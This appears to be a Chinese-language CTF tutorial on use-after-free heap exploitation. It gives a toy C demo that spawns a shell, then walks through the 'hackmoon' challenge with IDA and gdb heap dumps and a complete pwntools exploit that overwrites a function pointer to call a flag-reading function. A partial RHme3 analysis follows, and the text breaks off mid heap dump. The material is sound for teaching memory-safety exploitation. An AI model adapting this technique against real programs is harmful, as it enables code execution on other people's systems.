uaf介绍
Uaf漏洞简单的说,Use After Free就是其字面所表达的意思,当一个内存块被释放之后再次被使用。当指针在被释放之后没有置空就可能会产生这种情况。
简单实现
这里首先放一段简单的c代码,让大家更容易理解(linux 环境)
#include <stdio.h>
#include <stdlib.h>
typedef void (*func_ptr)(char *);
void evil_fuc(char command[])
{
system(command);
}
void echo(char content[])
{
printf("%s",content);
}
int main()
{
func_ptr *p1=(func_ptr*)malloc(4*sizeof(int));
printf("malloc addr: %pn",p1);
p1[3]=echo;
p1[3]("hello worldn");
free(p1); //在这里free了p1,但并未将p1置空,导致后续可以再使用p1指针
p1[3]("hello againn"); //p1指针未被置空,虽然free了,但仍可使用.
func_ptr *p2=(func_ptr*)malloc(4*sizeof(int));//malloc在free一块内存后,再次申请同样大小的指针会把刚刚释放的内存分配出来.
printf("malloc addr: %pn",p2);
printf("malloc addr: %pn",p1);//p2与p1指针指向的内存为同一地址
p2[3]=evil_fuc; //在这里将p1指针里面保存的echo函数指针覆盖成为了evil_func指针.
p1[3]("/bin/sh");
return 0;
}
运行一下,拿到shell
malloc addr: 0x556acd480260
hello world
hello again
malloc addr: 0x556acd480260
malloc addr: 0x556acd480260
$ ls
a.py c.py exp.c main.py peda-session-main.txt reserve
core exp main peda-session-exp.txt pwn vmware-tools-distrib
原因
原因就是:应用程序调用free()释放内存时,如果内存块小于256kb,dlmalloc并不马上将内存块释放回内存,而是将内存块标记为空闲状态。这么做的原因有两个:一是内存块不一定能马上释放会内核(比如内存块不是位于堆顶端),二是供应用程序下次申请内存使用(这是主要原因)。当dlmalloc中空闲内存量达到一定值时dlmalloc才将空闲内存释放会内核。如果应用程序申请的内存大于256kb,dlmalloc调用mmap()向内核申请一块内存,返回返还给应用程序使用。如果应用程序释放的内存大于256kb,dlmalloc马上调用munmap()释放内存。dlmalloc不会缓存大于256kb的内存块,因为这样的内存块太大了,最好不要长期占用这么大的内存资源。
例题
安恒杯二月月赛hackmoon
先查保护
Canary : Yes
NX : Yes
PIE : No
Fortify : No
RelRO : Partial
扔到ida里面
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // eax
int v4; // [esp+8h] [ebp-10h]
unsigned int v5; // [esp+Ch] [ebp-Ch]
v5 = __readgsdword(0x14u);
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
while ( 1 )
{
while ( 1 )
{
menu();
read(0, &v4, 4u);
v3 = atoi((const char *)&v4);
if ( v3 != 2 )
break;
del_moon();
}
if ( v3 > 2 )
{
if ( v3 == 3 )
{
print_moon();
}
else
{
if ( v3 == 4 )
exit(0);
LABEL_13:
puts("Invalid choice");
}
}
else
{
if ( v3 != 1 )
goto LABEL_13;
add_moon();
}
}
}
从主函数了很容易可以看出来是一个菜单类的题目。
int menu()
{
puts("----------------------");
puts(" HackMoon ");
puts("----------------------");
puts(" 1. Add moon ");
puts(" 2. Delete moon ");
puts(" 3. Print moon ");
puts(" 4. Exit ");
puts("----------------------");
return printf("Your choice :");
}
第一个Add函数
unsigned int add_moon()
{
_DWORD *v0; // ebx
signed int i; // [esp+Ch] [ebp-1Ch]
int v3; // [esp+10h] [ebp-18h]
int v4; // [esp+14h] [ebp-14h]
unsigned int v5; // [esp+1Ch] [ebp-Ch]
v5 = __readgsdword(0x14u);
if ( count <= 5 )
{
for ( i = 0; i <= 4; ++i )
{
if ( !moonlist[i] )
{
moonlist[i] = malloc(8u);
if ( !moonlist[i] )
{
puts("Alloca Error");
exit(-1);
}
*(_DWORD *)moonlist[i] = print_moon_content;
printf("moon size :");
read(0, &v4, 8u);
v3 = atoi((const char *)&v4);
v0 = moonlist[i];
v0[1] = malloc(v3);
if ( !*((_DWORD *)moonlist[i] + 1) )
{
puts("Alloca Error");
exit(-1);
}
printf("Content :");
read(0, *((void **)moonlist[i] + 1), v3);
puts("Success !");
++count;
return __readgsdword(0x14u) ^ v5;
}
}
}
else
{
puts("Full");
}
return __readgsdword(0x14u) ^ v5;
}
最多只能加入5个内容,
moonlist[i] = malloc(8u);
*(_DWORD *)moonlist[i] = print_moon_content;
先是申请了一个八个字节的空间 存放put 以及 content 指针。,然后在是输入长度和content。
+-----------------+
| put |
+-----------------+
| content | size
+-----------------+------------------->+----------------+
| real |
| content |
| |
+----------------+
Del函数
unsigned int del_moon()
{
int v1; // [esp+4h] [ebp-14h]
int v2; // [esp+8h] [ebp-10h]
unsigned int v3; // [esp+Ch] [ebp-Ch]
v3 = __readgsdword(0x14u);
printf("Index :");
read(0, &v2, 4u);
v1 = atoi((const char *)&v2);
if ( v1 < 0 || v1 >= count )
{
puts("Out of bound!");
_exit(0);
}
if ( moonlist[v1] )
{
free(*((void **)moonlist[v1] + 1));
free(moonlist[v1]);
puts("Success");
}
return __readgsdword(0x14u) ^ v3;
}
主要的漏洞就在这个函数里面,free掉了两个指针后并没有将它们置空,导致它们成为了Dangling pointer,所以这里就有了uaf的漏洞。
Print函数
unsigned int print_moon()
{
int v1; // [esp+4h] [ebp-14h]
int v2; // [esp+8h] [ebp-10h]
unsigned int v3; // [esp+Ch] [ebp-Ch]
v3 = __readgsdword(0x14u);
printf("Index :");
read(0, &v2, 4u);
v1 = atoi((const char *)&v2);
if ( v1 < 0 || v1 >= count )
{
puts("Out of bound!");
_exit(0);
}
if ( moonlist[v1] )
(*(void (__cdecl **)(void *))moonlist[v1])(moonlist[v1]);
return __readgsdword(0x14u) ^ v3;
}
就是根据索引号输出里面的内容。但我们可以发现这句比较奇怪好像以前从来没有见过
(*(void (__cdecl **)(void *))moonlist[v1])(moonlist[v1]);
那可能就是ida的分析出现了点问题,因为ida是不能分析结构体类型的代码 转到汇编
text:08048945 loc_8048945: ; CODE XREF: print_moon+54↑j
.text:08048945 mov eax, [ebp+var_14]
.text:08048948 mov eax, ds:moonlist[eax*4]
.text:0804894F test eax, eax
.text:08048951 jz short loc_8048972
.text:08048953 mov eax, [ebp+var_14]
.text:08048956 mov eax, ds:moonlist[eax*4]
.text:0804895D mov eax, [eax]
.text:0804895F mov edx, [ebp+var_14]
.text:08048962 mov edx, ds:moonlist[edx*4]
.text:08048969 sub esp, 0Ch
.text:0804896C push edx
.text:0804896D call eax
.text:0804896F add esp, 10h
前三行是判断moonlist[eax4]的值是否为0,剩下的几行我们可以把它整合一下 0804895D这一行的我们可以看成mov eax,[ds:moonlist[[ebp+var_14]4]],这里用了两个取地址的位置,我们可以在gdb里面调试来看call究竟运行了哪一个函数。
$eax : 0x0804b160 → 0x0804865b → <print_moon_content+0> push ebp
$ebx : 0x0
$ecx : 0x0
$edx : 0xf7f46ac0 → 0x00020002
$esp : 0xffffd150 → 0x08048c6d → "Your choice :"
[!] Command 'registers' failed to execute properly, reason: 'I' format requires 0 <= number <= 4294967295
───────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
[!] Unmapped address
─────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
0x8048956 <print_moon+129> mov eax, DWORD PTR [eax*4+0x804a070]
→ 0x804895d <print_moon+136> mov eax, DWORD PTR [eax]
0x804895f <print_moon+138> mov edx, DWORD PTR [ebp-0x14]
0x8048962 <print_moon+141> mov edx, DWORD PTR [edx*4+0x804a070]
0x8048969 <print_moon+148> sub esp, 0xc
0x804896c <print_moon+151> push edx
0x804896d <print_moon+152> call eax
─────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "hackmoon", stopped, reason: SINGLE STEP
───────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x804895d → print_moon()
[#1] 0x8048ad3 → main()
[#2] 0xf7df6e81 → __libc_start_main(main=0x8048a38 <main>, argc=0x1, argv=0xffffd234, init=0x8048b00 <__libc_csu_init>, fini=0x8048b60 <__libc_csu_fini>, rtld_fini=0xf7fe59b0 <_dl_fini>, stack_end=0xffffd22c)
[#3] 0x8048581 → _start()
我们可以看到运行完这一句0x8048956 <print_moon+129> mov eax, DWORD PTR [eax*4+0x804a070]之后,eax里面存的是print_moon_content+0的地址,也就是说我们的call eax将会运行的是print_moon_content这个函数,这个函数里面就只有一个put
int __cdecl print_moon_content(int a1)
{
return puts(*(const char **)(a1 + 4));
}
后面的edx也可以这样分析出来,还是print_moon_content的地址,作为后面call eax的参数将它压入到栈中。
$eax : 0x0804865b → <print_moon_content+0> push ebp
$ebx : 0x0
$ecx : 0x0
$edx : 0x0804b160 → 0x0804865b → <print_moon_content+0> push ebp
[!] Command 'registers' failed to execute properly, reason: 'I' format requires 0 <= number <= 4294967295
───────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
[!] Unmapped address
─────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
0x804895c <print_moon+135> or BYTE PTR [ebx-0x13aa7500], cl
0x8048962 <print_moon+141> mov edx, DWORD PTR [edx*4+0x804a070]
0x8048969 <print_moon+148> sub esp, 0xc
→ 0x804896c <print_moon+151> push edx
0x804896d <print_moon+152> call eax
0x804896f <print_moon+154> add esp, 0x10
0x8048972 <print_moon+157> nop
0x8048973 <print_moon+158> mov eax, DWORD PTR [ebp-0xc]
0x8048976 <print_moon+161> xor eax, DWORD PTR gs:0x14
接着进入到print_moon_content函数内部,前面通过几行的赋值,我们可以看到最后将要被输出的是我们之前输入的contest
$eax : 0x0804b170 → "123456789"
$ebx : 0x0
$ecx : 0x0
$edx : 0x0804b160 → 0x0804865b → <print_moon_content+0> push ebp
[!] Command 'registers' failed to execute properly, reason: 'I' format requires 0 <= number <= 4294967295
───────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
[!] Unmapped address
─────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
0x804865e <print_moon_content+3> sub esp, 0x8
0x8048661 <print_moon_content+6> mov eax, DWORD PTR [ebp+0x8]
0x8048664 <print_moon_content+9> mov eax, DWORD PTR [eax+0x4]
→ 0x8048667 <print_moon_content+12> sub esp, 0xc
所以综上可以分析得到这一句ida未分析出来的代码是
print_moon_content(moonlist[a]->monnlist[a])
在看其他函数的时候,我们还发现了
int magic()
{
return system("cat /home/pwn/flag");
}
只要运行这个函数就可以拿到权限。接下来需要考虑的问题就是如何使程序运行到这个函数
一个很直接的想法是修改 print_moon_content; 的 put 字段为 magic 函数的地址,从而实现在执行 print note 的时候执行 magic 函数。
思路大概是这样
-
申请 note0,real content size 为 32
-
申请 note1,real content size 为 32
-
释放 note0
-
释放 note1
-
此时,大小为 2 的 fast bin chunk 中链表为 note1->note0
-
申请 note2,并且设置 real content 的大小为 8,那么根据堆的分配规则
-
note2 其实会分配 note1 对应的内存块。
-
real content 对应的 chunk 其实是 note0。
-
如果我们这时候向 note2 real content 的 chunk 部分写入 magic的地址,那么由于我们没有 note0 为 NULL。当我们再次尝试输出 note0的时候,程序就会调用 magic 函数。
用gdb调试一下
现在menu下个断点,运行第一遍后找到申请的堆所在的内存
gef➤ vmmap
Start End Offset Perm Path
0x08048000 0x08049000 0x00000000 r-x /home/katrina/Desktop/hackmoon
0x08049000 0x0804a000 0x00000000 r-- /home/katrina/Desktop/hackmoon
0x0804a000 0x0804b000 0x00001000 rw- /home/katrina/Desktop/hackmoon
0x09f6d000 0x09f8f000 0x00000000 rw- [heap]
0xf7d7e000 0xf7f53000 0x00000000 r-x /lib/i386-linux-gnu/libc-2.27.so
0xf7f53000 0xf7f54000 0x001d5000 --- /lib/i386-linux-gnu/libc-2.27.so
0xf7f54000 0xf7f56000 0x001d5000 r-- /lib/i386-linux-gnu/libc-2.27.so
0xf7f56000 0xf7f57000 0x001d7000 rw- /lib/i386-linux-gnu/libc-2.27.so
0xf7f57000 0xf7f5a000 0x00000000 rw-
0xf7f6f000 0xf7f71000 0x00000000 rw-
0xf7f71000 0xf7f74000 0x00000000 r-- [vvar]
0xf7f74000 0xf7f76000 0x00000000 r-x [vdso]
0xf7f76000 0xf7f9c000 0x00000000 r-x /lib/i386-linux-gnu/ld-2.27.so
0xf7f9c000 0xf7f9d000 0x00025000 r-- /lib/i386-linux-gnu/ld-2.27.so
0xf7f9d000 0xf7f9e000 0x00026000 rw- /lib/i386-linux-gnu/ld-2.27.so
0xff95d000 0xff97e000 0x00000000 rw- [stack]
gef➤ x/70ag 0x09f6d000
0x9f6d000: 0x0 0x0
0x9f6d010: 0x0 0x0
0x9f6d020: 0x0 0x0
0x9f6d030: 0x0 0x0
0x9f6d040: 0x0 0x0
0x9f6d050: 0x0 0x0
0x9f6d060: 0x0 0x0
0x9f6d070: 0x0 0x0
0x9f6d080: 0x0 0x0
0x9f6d090: 0x0 0x0
0x9f6d0a0: 0x0 0x0
0x9f6d0b0: 0x0 0x0
0x9f6d0c0: 0x0 0x0
0x9f6d0d0: 0x0 0x0
0x9f6d0e0: 0x0 0x0
0x9f6d0f0: 0x0 0x0
0x9f6d100: 0x0 0x0
0x9f6d110: 0x0 0x0
0x9f6d120: 0x0 0x0
0x9f6d130: 0x0 0x0
0x9f6d140: 0x0 0x0
0x9f6d150: 0x0 0x0
0x9f6d160: 0x804865b 0x0
0x9f6d170: 0x61616161 0x0
0x9f6d180: 0x0 0x0
0x9f6d190: 0x0 0x0
0x9f6d1a0: 0x0 0x0
0x9f6d1b0: 0x0 0x0
0x9f6d1c0: 0x0 0x0
0x9f6d1d0: 0x0 0x0
0x9f6d1e0: 0x0 0x0
0x9f6d1f0: 0x0 0x0
0x9f6d200: 0x0 0x0
0x9f6d210: 0x0 0x0
0x9f6d220: 0x0 0x0
可以看到moonlist[0]申请到的空间为0x9f6d160,real content申请到的为0x9f6d170
第二次运行
gef➤ x/70ag 0x09f6d160
0x9f6d160: 0x804865b 0x0
0x9f6d170: 0x61616161 0x0
0x9f6d180: 0x0 0x0
0x9f6d190: 0x0 0x0
0x9f6d1a0: 0x804865b 0x0
0x9f6d1b0: 0x63636363 0x0
同理moonlist[1]申请到的是0x9f6d1a0
第三次运行释放掉了moonlist[0],可以看一下堆的bins,刚刚释放的被存到了fastbin里面。
gef➤ heap bins
──────────────────────────────────────────── Tcachebins for arena 0xf7f567a0 ────────────────────────────────────────────
Tcachebins[idx=2, size=0x18] count=1 ← Chunk(addr=0x9f6d160, size=0x10,
flags=PREV_INUSE)
Tcachebins[idx=4, size=0x28] count=0 ← Chunk(addr=0x9f6d170, size=0x30,
flags=PREV_INUSE)
───────────────────────────────────────────── Fastbins for arena 0xf7f567a0 ─────────────────────────────────────────────
Fastbins[idx=0, size=0x8] 0x00
Fastbins[idx=1, size=0x10] 0x00
Fastbins[idx=2, size=0x18] 0x00
Fastbins[idx=3, size=0x20] 0x00
Fastbins[idx=4, size=0x28] 0x00
Fastbins[idx=5, size=0x30] 0x00
Fastbins[idx=6, size=0x38] 0x00
────────────────────────────────────────── Unsorted Bin for arena 'main_arena' ──────────────────────────────────────────
[+] Found 0 chunks in unsorted bin.
─────────────────────────────────────────── Small Bins for arena 'main_arena' ───────────────────────────────────────────
[+] Found 0 chunks in 0 small non-empty bins.
─────────────────────────────────────────── Large Bins for arena 'main_arena' ───────────────────────────────────────────
[+] Found 0 chunks in 0 large non-empty bins.
第四次运行释放moonlist[1],可以看到刚刚释放的被放到了链表的表头。
gef➤ heap bins
──────────────────────────────────────────── Tcachebins for arena 0xf7f567a0 ────────────────────────────────────────────
Tcachebins[idx=2, size=0x18] count=2 ← Chunk(addr=0x9f6d1a0, size=0x10,flags=PREV_INUSE) ← Chunk(addr=0x9f6d160, size=0x10, flags=PREV_INUSE)
Tcachebins[idx=4, size=0x28] count=0 ← Chunk(addr=0x9f6d1b0, size=0x30,flags=PREV_INUSE) ← Chunk(addr=0x9f6d170, size=0x30, flags=PREV_INUSE)
───────────────────────────────────────────── Fastbins for arena 0xf7f567a0 ─────────────────────────────────────────────
Fastbins[idx=0, size=0x8] 0x00
Fastbins[idx=1, size=0x10] 0x00
Fastbins[idx=2, size=0x18] 0x00
Fastbins[idx=3, size=0x20] 0x00
Fastbins[idx=4, size=0x28] 0x00
Fastbins[idx=5, size=0x30] 0x00
Fastbins[idx=6, size=0x38] 0x00
────────────────────────────────────────── Unsorted Bin for arena 'main_arena' ──────────────────────────────────────────
[+] Found 0 chunks in unsorted bin.
─────────────────────────────────────────── Small Bins for arena 'main_arena' ───────────────────────────────────────────
[+] Found 0 chunks in 0 small non-empty bins.
─────────────────────────────────────────── Large Bins for arena 'main_arena' ───────────────────────────────────────────
[+] Found 0 chunks in 0 large non-empty bins.
根据堆的存储机制,我们可以知道,当我们再申请一个和之前释放过的同样大小的时候,系统会直接从fastbin里拿出来进行分配。
我们是是想要覆盖掉put所以我们再申请一个8字节的空间就可以了。把断点下在malloc方便看。
gef➤ b *0x080486CA
Breakpoint 2 at 0x80486ca
gef➤ b *0x0804875C
Breakpoint 3 at 0x804875c
第一个malloc之后,原先moonlist[1]位置被重新使用。
gef➤ heap bins
──────────────────────────────────────────── Tcachebins for arena 0xf7f567a0 ────────────────────────────────────────────
Tcachebins[idx=2, size=0x18] count=2 ← Chunk(addr=0x9f6d160, size=0x10,
flags=PREV_INUSE)
Tcachebins[idx=4, size=0x28] count=0 ← Chunk(addr=0x9f6d1b0, size=0x30,
flags=PREV_INUSE) ← Chunk(addr=0x9f6d170, size=0x30, flags=PREV_INUSE)
───────────────────────────────────────────── Fastbins for arena 0xf7f567a0 ─────────────────────────────────────────────
Fastbins[idx=0, size=0x8] 0x00
Fastbins[idx=1, size=0x10] 0x00
Fastbins[idx=2, size=0x18] 0x00
Fastbins[idx=3, size=0x20] 0x00
Fastbins[idx=4, size=0x28] 0x00
Fastbins[idx=5, size=0x30] 0x00
Fastbins[idx=6, size=0x38] 0x00
────────────────────────────────────────── Unsorted Bin for arena 'main_arena' ──────────────────────────────────────────
[+] Found 0 chunks in unsorted bin.
─────────────────────────────────────────── Small Bins for arena 'main_arena' ───────────────────────────────────────────
[+] Found 0 chunks in 0 small non-empty bins.
─────────────────────────────────────────── Large Bins for arena 'main_arena' ───────────────────────────────────────────
[+] Found 0 chunks in 0 large non-empty bins.
gef➤ x/70ag 0x09f6d160
0x9f6d160: 0x0 0x0
0x9f6d170: 0x0 0x0
0x9f6d180: 0x0 0x0
0x9f6d190: 0x0 0x0
0x9f6d1a0: 0x804865b 0x0
0x9f6d1b0: 0x9f6d170 0x0
0x9f6d1c0: 0x0 0x0
0x9f6d1d0: 0x0 0x0
0x9f6d1e0: 0x0 0x0
第二次malloc是我们输入的内容为magic函数的地址
gef➤ heap bins
──────────────────────────────────────────── Tcachebins for arena 0xf7f567a0 ────────────────────────────────────────────
Tcachebins[idx=4, size=0x28] count=0 ← Chunk(addr=0x9f6d1b0, size=0x30,
flags=PREV_INUSE) ← Chunk(addr=0x9f6d170, size=0x30, flags=PREV_INUSE)
───────────────────────────────────────────── Fastbins for arena 0xf7f567a0 ─────────────────────────────────────────────
Fastbins[idx=0, size=0x8] 0x00
Fastbins[idx=1, size=0x10] 0x00
Fastbins[idx=2, size=0x18] 0x00
Fastbins[idx=3, size=0x20] 0x00
Fastbins[idx=4, size=0x28] 0x00
Fastbins[idx=5, size=0x30] 0x00
Fastbins[idx=6, size=0x38] 0x00
────────────────────────────────────────── Unsorted Bin for arena 'main_arena' ──────────────────────────────────────────
[+] Found 0 chunks in unsorted bin.
─────────────────────────────────────────── Small Bins for arena 'main_arena' ───────────────────────────────────────────
[+] Found 0 chunks in 0 small non-empty bins.
─────────────────────────────────────────── Large Bins for arena 'main_arena' ───────────────────────────────────────────
[+] Found 0 chunks in 0 large non-empty bins.
gef➤ x/70ag 0x09f6d160
0x9f6d160: 0x8048986 0x0
0x9f6d170: 0x0 0x0
0x9f6d180: 0x0 0x0
0x9f6d190: 0x0 0x0
0x9f6d1a0: 0x804865b 0x0
0x9f6d1b0: 0x9f6d170 0x0
0x9f6d1c0: 0x0 0x0
覆盖成功,0x9f6d160的内容已经变为magic函数的地址,再运行print(0)后就可以运行到magic函数。
脚本:
from pwn import *
p=process('./hackmoon')
def add(size, content):
p.recvuntil('Your choice :')
p.sendline('1')
p.recvuntil('moon size :')
p.sendline(str(size))
p.recvuntil('Content :')
p.send(content)
def delete(index):
p.recvuntil('Your choice :')
p.sendline('2')
p.recvuntil('Index :')
p.sendline(str(index))
p.recvuntil('Success')
return
def print_(index):
p.recvuntil('Your choice :')
p.sendline('3')
p.recvuntil('Index :')
p.sendline(str(index))
return
context.terminal = ['terminator','-x','sh','-c']
pwnlib.gdb.attach(p)
magic_addr=0x08048986
add(32,'aaaa')
add(32,'cccc')
delete(0)
delete(1)
add(8,p32(magic_addr))
print_(0)
p.interactive()
RHme3
先查保护
gef➤ checksec
[+] checksec for '/home/katrina/Desktop/RHme3'
Canary : Yes
NX : Yes
PIE : No
Fortify : No
RelRO : Partial
就开了Canary和NX。Ida里看一下
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v3; // ST0C_4
bool v5; // [rsp+7h] [rbp-9h]
v5 = 0;
setbuf(stdout, 0LL);
puts("Welcome to your TeamManager (TM)!");
fflush(stdout);
while ( !v5 )
{
v3 = menu();
v5 = v3 == 0;
switch ( v3 )
{
case 0:
v5 = 1;
break;
case 1:
add_player();
break;
case 2:
delete_player();
break;
case 3:
select_player();
break;
case 4:
edit_player();
break;
case 5:
show_player();
break;
case 6:
show_team();
break;
default:
puts("Invalid option!!");
fflush(stdout);
break;
}
}
puts("Sayonara!");
fflush(stdout);
return 0;
}
从主函数里明显可以看出来是一个列表的题目,先分析一下各个函数功能
__int64 menu()
{
char nptr[4]; // [rsp+10h] [rbp-10h]
unsigned __int64 v2; // [rsp+18h] [rbp-8h]
v2 = __readfsqword(0x28u);
*(_DWORD *)nptr = 0;
puts("0.- Exit");
fflush(stdout);
puts("1.- Add player");
fflush(stdout);
puts("2.- Remove player");
fflush(stdout);
puts("3.- Select player");
fflush(stdout);
puts("4.- Edit player");
fflush(stdout);
puts("5.- Show player");
fflush(stdout);
puts("6.- Show team");
fflush(stdout);
printf("Your choice: ");
fflush(stdout);
readline(nptr, 4LL);
return (unsigned int)atoi(nptr);
}
列表菜单
unsigned __int64 add_player()
{
size_t v0; // rax
unsigned int i; // [rsp+4h] [rbp-11Ch]
char **s; // [rsp+8h] [rbp-118h]
char src; // [rsp+10h] [rbp-110h]
unsigned __int64 v5; // [rsp+118h] [rbp-8h]
v5 = __readfsqword(0x28u);
for ( i = 0; i <= 0xA && players[i]; ++i );
if ( i == 11 )
{
puts("Maximum number of players reached!");
fflush(stdout);
}
else
{
printf("Found free slot: %dn", i);
fflush(stdout);
s = (char **)malloc(0x18uLL);
if ( s )
{
memset(s, 0, 0x18uLL);
printf("Enter player name: ", 0LL);
fflush(stdout);
memset(&src, 0, 0x100uLL);
readline(&src, 256LL);
v0 = strlen(&src);
s[2] = (char *)malloc(v0 + 1);
if ( s[2] )
{
strcpy(s[2], &src);
printf("Enter attack points: ", &src);
fflush(stdout);
readline(&src, 4LL);
*(_DWORD *)s = atoi(&src);
printf("Enter defense points: ", 4LL);
fflush(stdout);
readline(&src, 4LL);
*((_DWORD *)s + 1) = atoi(&src);
printf("Enter speed: ", 4LL);
fflush(stdout);
readline(&src, 4LL);
*((_DWORD *)s + 2) = atoi(&src);
printf("Enter precision: ", 4LL);
fflush(stdout);
readline(&src, 4LL);
*((_DWORD *)s + 3) = atoi(&src);
players[i] = (__int64)s;
}
else
{
printf("Could not allocate!", 256LL);
fflush(stdout);
}
}
else
{
puts("Could not allocate");
fflush(stdout);
}
}
return __readfsqword(0x28u) ^ v5;
}
第一个是添加函数,一共可以添加11个,看了两个malloc申请空间。
unsigned __int64 delete_player()
{
void **ptr; // ST08_8
unsigned int v2; // [rsp+4h] [rbp-1Ch]
char nptr; // [rsp+10h] [rbp-10h]
unsigned __int64 v4; // [rsp+18h] [rbp-8h]
v4 = __readfsqword(0x28u);
printf("Enter index: ");
fflush(stdout);
readline(&nptr, 4LL);
v2 = atoi(&nptr);
if ( v2 <= 0xA && players[v2] )
{
ptr = (void **)players[v2];
players[v2] = 0LL;
free(ptr[2]);
free(ptr);
puts("She's gone!");
fflush(stdout);
}
else
{
puts("Invalid index");
fflush(stdout);
}
return __readfsqword(0x28u) ^ v4;
}
删除函数,这里就可以发现了,两个free把前面add里面申请的空间释放之后,并没有把相对应的指针置空,这里就可能可以利用uaf漏洞来pwn题。
int edit_player()
{
int result; // eax
char v1; // [rsp+Bh] [rbp-5h]
v1 = 0;
result = selected;
if ( selected )
{
while ( !v1 )
{
result = edit_menu();
switch ( result )
{
case 0:
v1 = 1;
break;
case 1:
result = set_name();
break;
case 2:
result = set_attack();
break;
case 3:
result = set_defense();
break;
case 4:
result = set_speed();
break;
case 5:
result = set_precision();
break;
default:
puts("Invalid choice");
result = fflush(stdout);
break;
}
}
}
else
{
puts("No player selected!!");
result = fflush(stdout);
}
return result;
}
修改函数,可以在后面覆盖函数got用到
剩下的三个函数通过分析之后发现都是无关紧要的,这里就不做分析了。
再找了下字符串发现没有system和bin/sh,这代表着我们需要泄露程序里的函数来获得libc的版本从而拿到system的地址。
我们可以先用gdb来分析程序堆的布置
gef➤ b *0x00402205
Breakpoint 1 at 0x402205
现在菜单的位置下一个断点。运行。
第一组数据先这么输入
gef➤ c
Continuing.
0.- Exit
1.- Add player
2.- Remove player
3.- Select player
4.- Edit player
5.- Show player
6.- Show team
Your choice: 1
Found free slot: 0
Enter player name: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Enter attack points: 1
Enter defense points: 1
Enter speed: 1
Enter precision: 1
用vmmap来找堆所在的位置
gef➤ vmmap
Start End Offset Perm Path
0x0000000000400000 0x0000000000403000 0x0000000000000000 r-x/home/katrina/Desktop/main
0x0000000000602000 0x0000000000603000 0x0000000000002000 r-/home/katrina/Desktop/main
0x0000000000603000 0x0000000000604000 0x0000000000003000 rw-/home/katrina/Desktop/main
0x0000000000604000 0x0000000000625000 0x0000000000000000 rw- [heap]
0x00007ffff79e4000 0x00007ffff7bcb000 0x0000000000000000 r-x/lib/x86_64-linux-gnu/libc-2.27.so
0x00007ffff7bcb000 0x00007ffff7dcb000 0x00000000001e7000 ---/lib/x86_64-linux-gnu/libc-2.27.so
0x00007ffff7dcb000 0x00007ffff7dcf000 0x00000000001e7000 r--/lib/x86_64-linux-gnu/libc-2.27.so
0x00007ffff7dcf000 0x00007ffff7dd1000 0x00000000001eb000 rw-/lib/x86_64-linux-gnu/libc-2.27.so
0x00007ffff7dd1000 0x00007ffff7dd5000 0x0000000000000000 rw-
0x00007ffff7dd5000 0x00007ffff7dfc000 0x0000000000000000 r-x/lib/x86_64-linux-gnu/ld-2.27.so
0x00007ffff7fe0000 0x00007ffff7fe2000 0x0000000000000000 rw-
0x00007ffff7ff7000 0x00007ffff7ffa000 0x0000000000000000 r-- [vvar]
0x00007ffff7ffa000 0x00007ffff7ffc000 0x0000000000000000 r-x [vdso]
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000027000 r--/lib/x86_64-linux-gnu/ld-2.27.so
0x00007ffff7ffd000 0x00007ffff7ffe000 0x0000000000028000 rw-/lib/x86_64-linux-gnu/ld-2.27.so
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw-
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
发现在
x0000000000604000 0x0000000000625000 0x0000000000000000 rw- [heap]
用x/g进去跟进之后找到准确位置
gef➤ x/70ag 0x0000000000604240
0x604240: 0x0 0x0
0x604250: 0x0 0x21
0x604260: 0x100000001 0x100000001
0x604270: 0x604280 0x31
0x604280: 0x6161616161616161 0x6161616161616161
0x604290: 0x6161616161616161 0x6161616161616161
0x6042a0: 0x0 0x20d61
0x6042b0: 0x0 0x0
0x6042c0: 0x0 0x0
0x6042d0: 0x0 0x0
0x6042e0: 0x0 0x0
0x6042f0: 0x0 0x0
再添加一个
gef➤ x/70g 0x0000000000604240
0x604240: 0x0000000000000000 0x0000000000000000
0x604250: 0x0000000000000000 0x0000000000000021
0x604260: 0x0000000100000001 0x0000000100000001
0x604270: 0x0000000000604280 0x0000000000000031
0x604280: 0x6161616161616161 0x6161616161616161
0x604290: 0x6161616161616161 0x6161616161616161
0x6042a0: 0x0000000000000000 0x0000000000000021
0x6042b0: 0x0000000100000001 0x0000000100000001
0x6042c0: 0x00000000006042d0 0x0000000000000031
0x6042d0: 0x6262626262626262 0x6262626262626262
0x6042e0: 0x6262626262626262 0x6262626262626262
0x6042f0: 0x0000000000000000 0x0000000000020d11
0x604300: 0x0000000000000000 0x0000000000000000
0x604310: 0x0000000000000000 0x0000000000000000
接下来把两个全部释放,先释放第一个,可以发现只释放了每一个申请的第一个块
gef➤ x/70g 0x0000000000604240
0x604240: 0x0000000000000000 0x0000000000000000
0x604250: 0x0000000000000000 0x0000000000000021
0x604260: 0x0000000000000000 0x0000000100000001
0x604270: 0x0000000000604280 0x0000000000000031
0x604280: 0x0000000000000000 0x6161616161616161
0x604290: 0x6161616161616161 0x6161616161616161
0x6042a0: 0x0000000000000000 0x0000000000000021
0x6042b0: 0x0000000100000001 0x0000000100000001
0x6042c0: 0x00000000006042d0 0x0000000000000031
0x6042d0: 0x6262626262626262 0x6262626262626262
0x6042e0: 0x6262626262626262 0x6262626262626262
0x6042f0: 0x0000000000000000 0x0000000000020d11
0x604300: 0x0000000000000000 0x0000000000000000
0x604310: 0x0000000000000000 0x0000000000000000
释放的会进入到fast bin里面
gef➤ heap bins
─────────────────────────────── Tcachebins for arena 0x7ffff7dcfc40───────────────────────────────
Tcachebins[idx=0, size=0x10] count=1 ← Chunk(addr=0x604260, size=0x20,
flags=PREV_INUSE)
